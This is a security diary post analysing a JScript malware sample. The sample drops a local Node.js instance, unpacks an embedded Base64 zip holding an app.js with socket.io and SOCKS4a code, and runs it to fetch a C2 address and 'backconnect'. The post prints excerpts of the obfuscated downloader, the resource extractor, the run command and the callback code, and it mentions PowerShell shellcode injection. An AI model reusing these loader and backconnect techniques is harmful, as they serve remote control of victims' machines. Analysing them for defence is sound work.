Malware Dropping a Local Node.js Instance
Yesterday, I wrote a diary about misused Microsoft tools[1]. I just found another interesting piece of code. This time the malware is using Node.js[2]. The malware is a JScript (SHA256:1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c)[3]
First, the malware tries to install a local Node.js instance:
nodeurl = 'https://nodejs.org/dist/latest-v10.x/win-x86/node.exe'; foldername = 'SystemConfigInfo000'; ... try { if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename)!=true) { nodedwnloaded = false; for(var i=1;i<=5;i++){ try{ m.open("GET", nodeurl, false); m.send(null); if(m.status==200) { nodedwnloaded = true; break; } } catch(e) { report('nodedownerr'); WScript.Sleep(5*60*1000); WScript.Quit(2); } } if(nodedwnloaded) { try{ xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m'); xa.open(); xa.type=1; xa.write(m.responseBody); xa.position=0; xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename, 2); xa.close(); } catch(err5){ report('nodesave'); WScript.Sleep(5*60*1000); WScript.Quit(5); } } else{ report('nodedownload1'); WScript.Sleep(5*60*1000); WScript.Quit(11); } } }
The Javascript application is part of the original script and is Based64 encode in a comment:
try { if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\app.js')!=true) { var arch = DecodeBase64(res2()); if(true) { try{ xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m'); xa.open(); xa.type=1; xa.write(arch); xa.position=0; xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+archname, 2); xa.close(); } ...
The function res2() extract the chunk of data:
function res2() { Function.prototype.GetResource = function (ResourceName) { if (!this.Resources) { var UnNamedResourceIndex = 0, _this = this; this.Resources = {}; function f(match, resType, Content) { _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content; } this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f); } return this.Resources[ResourceName]; } /*[arch2[UEsDBBQAAAAAAMSpgk4AAAAAAAAAAAAAAAAeAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvUEsDBBQAAAAAAMSpgk4A AAAAAAAAAAAAAAAiAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvbGliL1BLAwQUAAAACACaU9BKccRGp8QCAADPBgAAKgAAAG5vZ GVfbW9kdWxlcy9zb2NrZXQuaW8tY2xpZW50L2xpYi9pbmRleC5qc4VVTU8bMRC9768YDmUTRHfvRJEqVT1UKqgShx4QUhzvJHHZtRd/QCnkv3 fG3nU2gkIuiWfefL15dor67KyAM7g0TWgRGuxRN6ilQleRvS6KB2Eh2BaWYPE+KIuzsqrJUM4X0dcL69BO3c7IO/ ...
Let's decode and have a look at this JavaScript code:
$ file res2.decoded res2.decoded: Zip archive data, at least v2.0 to extract $ unzip res2.decoded Archive: res2.decoded creating: node_modules/socket.io-client/ creating: node_modules/socket.io-client/lib/ inflating: node_modules/socket.io-client/lib/index.js inflating: node_modules/socket.io-client/lib/manager.js inflating: node_modules/socket.io-client/lib/on.js ... creating: node_modules/socket.io-client/node_modules/yeast/ inflating: node_modules/socket.io-client/node_modules/yeast/index.js inflating: node_modules/socket.io-client/node_modules/yeast/LICENSE inflating: node_modules/socket.io-client/node_modules/yeast/package.json inflating: node_modules/socket.io-client/node_modules/yeast/README.md inflating: node_modules/socket.io-client/package.json inflating: node_modules/socket.io-client/README.md inflating: app.js inflating: constants.js inflating: socks4a.js
Basically, this app is launched with an argument (an IP address):
try{ WScript.Sleep(5000); var res=wsh['R'+'un']('.\\'+nodename+' .\\ap'+'p.js '+addr, 0, true); report('res='+res); } catch(errobj1) { report('runerr'); WScript.Sleep(5*60*1000); WScript.Quit(16); }
'addr' is a Base64-encoded variable. In the sample that I found, it's an RFC1918 IP.
It first performs an HTTP GET request to http://<ip>/getip/. The result is used to call a backconnect() function:
http.get(url,(res)=>{ let rawData = ''; res.on('data', (chunk) => { rawData += chunk; }); res.on('end', () => { backconnect('http://'+rawData.toString()+'/'); }); });
The application seems to implement a C2-like communication but I still need to check the code deeper. Why is the IP address a private one? I don't know. Maybe the sample was uploaded to VT during the development? It was developed for a red-teaming exercise?
Besides the Node.js local instance, the script also drops WinDivert.dll and WinDivert32.dll DLL files and inject a shellcode via PowerShell:
[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278/
[2] https://nodejs.org/en/about/
[3] https://www.virustotal.com/gui/file/1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments